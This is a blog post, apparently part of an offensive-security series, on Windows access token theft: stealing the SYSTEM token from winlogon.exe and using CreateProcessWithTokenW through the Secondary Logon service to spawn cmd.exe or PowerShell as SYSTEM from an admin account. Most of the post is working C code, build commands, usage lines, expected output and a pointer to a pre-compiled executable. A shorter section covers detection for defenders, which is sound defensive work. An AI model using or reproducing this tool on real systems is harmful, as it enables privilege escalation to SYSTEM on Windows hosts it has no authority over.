The Seclogon Shortcut — Spawning SYSTEM Processes via CreateProcessWithTokenW
How a built-in Windows service does the dirty work for you — converting Impersonation tokens to Primary tokens behind the scenes, letting you spawn processes as SYSTEM with fewer privileges and less code than any other method.
Previously — The Hard Way
In Part 1, we explored the Suspended Process Token Swap — the most evasive token manipulation technique in Windows. We created a clean process, froze it before it executed a single instruction, swapped its identity via the undocumented NtSetInformationProcess, and resumed it as SYSTEM. Maximum evasion, but maximum complexity too:
Required
SeAssignPrimaryTokenPrivilege(SYSTEM-only privilege)Required manual Primary→Primary token duplication
Required resolving an undocumented
ntdll.dllAPI at runtimeRequired creating a suspended process and managing its lifecycle
Required understanding
NTSTATUSerror codes
What if there was a simpler path? What if Windows itself had a built-in service that could handle the messy token conversion for you?
It does. It's called Secondary Logon (seclogon), and it's the engine behind CreateProcessWithTokenW.
The Core Insight — Let Windows Do the Conversion
Recall the fundamental rule from Part 1:
A process requires a Primary token. A thread can hold an Impersonation token.
When you steal a token from another process and duplicate it, you typically get an Impersonation token (or you convert it to one for thread-level impersonation). To spawn a new process with that stolen identity, you need a Primary token — because processes only accept Primary tokens at birth.
In technique B1 (CreateProcessAsUserW), you do this conversion manually:
Steal the token
Call
DuplicateTokenExwithTokenPrimaryto convert Impersonation → PrimaryCall
CreateProcessAsUserWwith the new Primary tokenThis requires
SeAssignPrimaryTokenPrivilege— which regular admins don't have
In technique B3 (Suspended Token Swap), you also need a Primary token for the swap — same privilege requirement.
B2 is different. CreateProcessWithTokenW accepts an Impersonation token directly. You don't need to convert it. You don't need SeAssignPrimaryTokenPrivilege. The Secondary Logon service (seclogon) running under svchost.exe receives your Impersonation token, converts it to Primary internally using its own SYSTEM-level privileges, creates the process, and hands you back the result.
B1 (manual): Imp Token → YOU convert → Primary Token → CreateProcessAsUserW
Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)
B2 (seclogon): Imp Token → seclogon converts → Primary Token → Process Created
Requires: SeImpersonatePrivilege ✅ (admin has it)
B3 (swap): Primary Token → NtSetInformationProcess on suspended process
Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)
The trade-off is clear: B2 trades evasion for simplicity. You need fewer privileges, less code, and no undocumented APIs. But the seclogon service interaction is logged, and the token is visible at process creation time.
What Is the Secondary Logon Service?
The Secondary Logon service (seclogon) is a legitimate Windows service that enables the "Run as different user" functionality. When you right-click an application and select "Run as different user," or when you use the runas.exe command-line tool — that's seclogon working behind the scenes.
It runs as NT AUTHORITY\SYSTEM under a svchost.exe instance, which means it has all the privileges needed to create processes with arbitrary tokens. When CreateProcessWithTokenW is called, it doesn't do the work itself — it sends an RPC request to the seclogon service, which:
Takes your Impersonation token
Internally calls
DuplicateTokenExto convert it to a Primary token (using its own SYSTEM privileges)Creates the process with the Primary token via the kernel
Returns the process handle back to the caller

The key insight: seclogon is already SYSTEM, so it has SeAssignPrimaryTokenPrivilege. You don't need it — seclogon has it for you.
The Complete Attack Flow
Here's the full chain:
┌──────────────────────────────┐
│ 1. Check seclogon service │ ← Must be running | | |
└──────────────┬───────────────┘
▼
┌──────────────────────────────┐
│ 2. Enable SeDebugPrivilege │ ← Required to touch SYSTEM processes |
└──────────────┬───────────────┘
▼
┌──────────────────────────────┐
│ 3. Steal SYSTEM token from │ ← OpenProcess → OpenProcessToken |
│ winlogon.exe │
└──────────────┬───────────────┘
▼
┌──────────────────────────────────────┐
│ 4. DuplicateTokenEx( │
│ TokenType = TokenImpersonation │ ← Stay as Impersonation! |
│ ) │
└──────────────┬───────────────────────┘
▼
┌──────────────────────────────────────────┐
│ 5. CreateProcessWithTokenW( │
│ hImpersonationToken, │ ← Imp token goes directly |
│ LOGON_WITH_PROFILE, │
│ "cmd.exe" │
│ ) │
│ → seclogon converts to Primary │
│ → New process runs as SYSTEM │
└──────────────────────────────────────────┘
Compare this to B3's flow — no suspended processes, no NtSetInformationProcess, no NTSTATUS error handling, no undocumented APIs. Five steps instead of ten.
The Code — Walking Through Every Line
📁 Full source code:
seclogon_spawn.c📁 Shared utility header:
common.h📦 Pre-compiled executable:
B2_seclogon_spawn.exe
Part 1: Checking the seclogon Service
Before we do anything, we check if the Secondary Logon service is running. If it's disabled (a common hardening measure), CreateProcessWithTokenW will fail with error code 1058 (ERROR_SERVICE_DISABLED).
static BOOL check_seclogon_service(void) {
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
print_info("Cannot query SCM — proceeding anyway");
return TRUE;
}
SC_HANDLE hSvc = OpenServiceA(hSCM, "seclogon", SERVICE_QUERY_STATUS);
if (!hSvc) {
print_fail_custom("Cannot open seclogon service", GetLastError());
CloseServiceHandle(hSCM);
return FALSE;
}
SERVICE_STATUS ss;
BOOL running = FALSE;
if (QueryServiceStatus(hSvc, &ss)) {
running = (ss.dwCurrentState == SERVICE_RUNNING);
}
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return running;
}
We use the Service Control Manager (OpenSCManagerA) to connect to the services database, open a handle to the seclogon service, and query its current state. If dwCurrentState isn't SERVICE_RUNNING, we bail out with a helpful error message suggesting alternatives (B1 or manually starting the service with sc start seclogon).
This pre-check is important because CreateProcessWithTokenW produces a cryptic error code 1058 when seclogon is disabled. Our explicit check gives the operator actionable information immediately.
Part 2: Stealing and Duplicating the Token
This part is identical to the other techniques — we steal SYSTEM's token from winlogon.exe:
DWORD pid = find_pid_by_name("winlogon.exe");
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
HANDLE hStolenPrimary = NULL;
OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hStolenPrimary);
But here's where B2 diverges from B1 and B3. When we duplicate the token, we keep it as Impersonation — not Primary:
HANDLE hImpToken = NULL;
DuplicateTokenEx(
hStolenPrimary, /* Source: winlogon's primary token */
TOKEN_ALL_ACCESS, /* Full access on the new token */
NULL, /* Default security attributes */
SecurityImpersonation, /* Impersonation level */
TokenImpersonation, /* ← STAY AS IMPERSONATION! */
&hImpToken /* Receives the new impersonation token */
);
In B1, we'd use TokenPrimary here. In B3, we'd use TokenPrimary. In B2, we explicitly use TokenImpersonation because CreateProcessWithTokenW is designed to accept Impersonation tokens directly. The seclogon service handles the conversion for us.
This is the fundamental insight of the technique: skip the conversion step entirely and let the OS service do it with its own elevated privileges.
Part 3: CreateProcessWithTokenW — The Core API
The actual spawn is a single API call:
STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default";
DWORD dwCreationFlags = CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT;
CreateProcessWithTokenW(
hImpToken, /* hToken — Impersonation token is OK! */
LOGON_WITH_PROFILE, /* dwLogonFlags */
NULL, /* lpApplicationName */
spawn_cmd, /* lpCommandLine — e.g., L"cmd.exe" */
dwCreationFlags, /* dwCreationFlags */
NULL, /* lpEnvironment */
NULL, /* lpCurrentDirectory */
&si, /* lpStartupInfo */
&pi /* lpProcessInformation */
);
Let's break down each parameter:
LOGON_WITH_PROFILE vs LOGON_NETCREDENTIALS_ONLY:
| Flag | What it does | When to use |
|---|---|---|
LOGON_WITH_PROFILE |
Loads the full user profile (HKEY_CURRENT_USER, environment, desktop) | Interactive sessions — when you need the process to "feel" like the target user |
LOGON_NETCREDENTIALS_ONLY |
Only uses the token's identity for network access | When you just need the stolen identity for network resources but want to keep the local profile as-is |
For most offensive use cases, LOGON_WITH_PROFILE is what you want — it creates a fully interactive process under the stolen identity.
Part 4: Error Handling — What Goes Wrong
CreateProcessWithTokenW has three common failure modes, and our code handles all of them:
if (!CreateProcessWithTokenW(...)) {
DWORD err = GetLastError();
switch (err) {
case 1314: /* ERROR_PRIVILEGE_NOT_HELD */
printf("→ SeImpersonatePrivilege not held\n");
break;
case 1058: /* ERROR_SERVICE_DISABLED */
printf("→ seclogon service is disabled — use B1 instead\n");
break;
case 5: /* ERROR_ACCESS_DENIED */
printf("→ Access denied — check token access rights\n");
break;
}
}
B2 vs B3 — The Honest Comparison
Let's put these two techniques side by side:
Privilege Requirements
| Privilege | B2 (seclogon) | B3 (NtSetInformationProcess) |
|---|---|---|
SeDebugPrivilege |
✅ Required | ✅ Required |
SeImpersonatePrivilege |
✅ Required | Not needed |
SeAssignPrimaryTokenPrivilege |
Not needed | ✅ Required (SYSTEM only!) |
| Available to regular Admin? | Yes ✅ | No ❌ |
Winner: B2. A regular admin account can use B2 directly. B3 requires SYSTEM-level privileges, meaning you need to chain it with thread-level impersonation first.
Winner: B3. The suspended token swap has a fundamentally cleaner forensic trail. The process creation event shows the original identity, and there's no service interaction to log..
Tie. Each has a different dependency. B2 depends on an external service (which can be disabled). B3 depends on an undocumented API (which could change between Windows versions, though it hasn't in 20+ years).
Detection Surface — How Blue Teams Catch B2
B2 is more detectable than B3, but that doesn't mean it's trivial to detect. Here's what to monitor:
1. Secondary Logon Service Events
When CreateProcessWithTokenW is called, it generates an RPC interaction with the seclogon service. This can be monitored via:
Event ID 4688 (Process Creation) — the new process shows the stolen identity, not the caller's identity
Service Control events — interactions with
seclogonfrom unexpected processesETW traces on the
Microsoft-Windows-Security-Auditingprovider
2. Token Type Anomaly
Legitimate uses of CreateProcessWithTokenW (like runas.exe) follow predictable patterns:
runas.exe→seclogon→ new processInteractive user → right-click "Run as" →
seclogon→ new process
An attacker's chain is different:
- Random process →
OpenProcessTokenonwinlogon.exe→DuplicateTokenEx→seclogon→ SYSTEM process
The combination of OpenProcessToken on a SYSTEM process followed by CreateProcessWithTokenW is suspicious.
3. Process Tree Analysis
When B2 spawns a process, the parent PID is the calling process, not seclogon. So you'll see something like:
malware.exe (PID 1234) → cmd.exe (PID 5678, running as SYSTEM)
A regular admin process spawning a SYSTEM process is always suspicious, regardless of the API used.
4. seclogon Service State Monitoring
Organizations that disable seclogon as a hardening measure should monitor for:
Attempts to start the service (
sc start seclogon)Registry modifications to the service configuration (
HKLM\SYSTEM\CurrentControlSet\Services\seclogon)Successful
seclogonstarts from non-standard service managers
Building and Running
Cross-Compile from Linux (MinGW)
x86_64-w64-mingw32-gcc -O2 -Wall -Wextra \
-o B2_seclogon_spawn.exe seclogon_spawn.c \
-ladvapi32 -lkernel32 -luserenv -municode
The -luserenv library is needed because LOGON_WITH_PROFILE triggers user profile loading, which uses APIs from userenv.dll. The -municode flag is needed for the wmain entry point (wide-character argument handling).
📦 Or grab the pre-compiled exe directly from the repository.
Usage
# Default: steal from winlogon.exe → spawn cmd.exe as SYSTEM
.\B2_seclogon_spawn.exe
# Custom: steal from lsass.exe → spawn powershell as SYSTEM
.\B2_seclogon_spawn.exe lsass.exe "powershell.exe"
Expected Output (When Run as Admin)
╔══════════════════════════════════════════════╗
║ Access Token Manipulation — PoC Toolkit ║
╚══════════════════════════════════════════════╝
Technique: B2 — CreateProcessWithTokenW (seclogon shortcut)
Target: winlogon.exe
Spawn: cmd.exe
[*] Checking if Secondary Logon (seclogon) service is running...
[+] seclogon service is RUNNING — CreateProcessWithTokenW will work
[*] Current process identity:
[+] Running as: DESKTOP\Alice
[*] Enabling SeDebugPrivilege...
[+] SeDebugPrivilege enabled
[*] Enabling SeImpersonatePrivilege...
[*] Finding winlogon.exe...
[+] Found winlogon.exe at PID 612
[+] Stolen primary token acquired
[+] Stolen identity: NT AUTHORITY\SYSTEM
[*] Duplicating token as Impersonation (NO conversion to Primary needed!)...
[+] Token duplicated as TokenImpersonation
[*] Duplicated Token Type: TokenImpersonation
[*] NOTE: No Imp→Primary conversion needed — seclogon handles it internally
[*] Spawning process via CreateProcessWithTokenW...
[*] (seclogon service will convert Impersonation → Primary internally)
╔══════════════════════════════════════════════════╗
║ PROCESS SPAWNED VIA SECLOGON (Imp token OK!) ║
╚══════════════════════════════════════════════════╝
[+] PID: 3456
[+] Thread ID: 3460
[+] Process running as: NT AUTHORITY\SYSTEM
B2 vs B1 advantage: No SeAssignPrimaryTokenPrivilege required!
B2 vs B3 advantage: No undocumented APIs, simpler implementation.
B2 weakness: Depends on seclogon service being enabled.
B2 vs B3 weakness: Token IS visible in process creation event.
[+] B2 technique complete.
Notice the simplicity compared to B3's output — no suspended process, no before/after identity verification, no NtSetInformationProcess resolution. The seclogon service handles the messy parts.
The Bigger Picture — Where B2 Fits
We now have 6 complete token manipulation techniques. Here's the complete map:
| Technique | API | Token Direction | Privilege Bar | Evasion Level | Service Dependency |
|---|---|---|---|---|---|
| A1 — Steal & Impersonate | SetThreadToken |
Primary → Imp | Admin | N/A | None |
| A2 — Privilege Reduction | AdjustTokenPrivileges |
Primary → Imp | Admin | N/A | None |
B1 — CreateProcessAsUserW |
Direct kernel call | Imp → Primary | SYSTEM | 🔴 High visibility | None |
B2 — CreateProcessWithTokenW (this blog) |
Via seclogon |
Imp → (auto) Primary | Admin ✅ | 🟡 Medium | seclogon |
| B3 — Suspended Token Swap | NtSetInformationProcess |
Primary → Primary | SYSTEM | 🟢 Low visibility | None |
B4 — CreateProcessWithLogonW |
Via seclogon + creds |
Credentials → Primary | Admin | 🟡 Medium | seclogon |
B2 sits in the sweet spot: admin-accessible with reasonable simplicity. It's not the stealthiest (B3 wins there), and it's not the most portable (B1 wins there), but it's the technique you reach for when you have admin privileges and just need a SYSTEM process spawned quickly.
Conclusion
CreateProcessWithTokenW via the Secondary Logon service represents the pragmatic middle ground in token manipulation. It sacrifices the forensic cleanliness of B3's suspended token swap for a dramatically simpler implementation that works from a regular admin context — no SYSTEM-level privileges required, no undocumented APIs, no manual token type conversion.
The trade-offs are real:
seclogon dependency — if the service is disabled, the technique fails entirely
Visible at creation — the stolen identity appears in process creation events and EDR callbacks
Service interaction logged — the RPC call to seclogon is observable
But in environments where seclogon is running (the default Windows configuration), B2 gives you the fastest path from "admin shell" to "SYSTEM process" with the least amount of code.
The series so far:
Part 1 (B3): Born With a Stolen Soul — Suspended Process Token Swap via NtSetInformationProcess
Part 2 (B2): The Seclogon Shortcut — CreateProcessWithTokenW (this blog)
MITRE ATT&CK References:


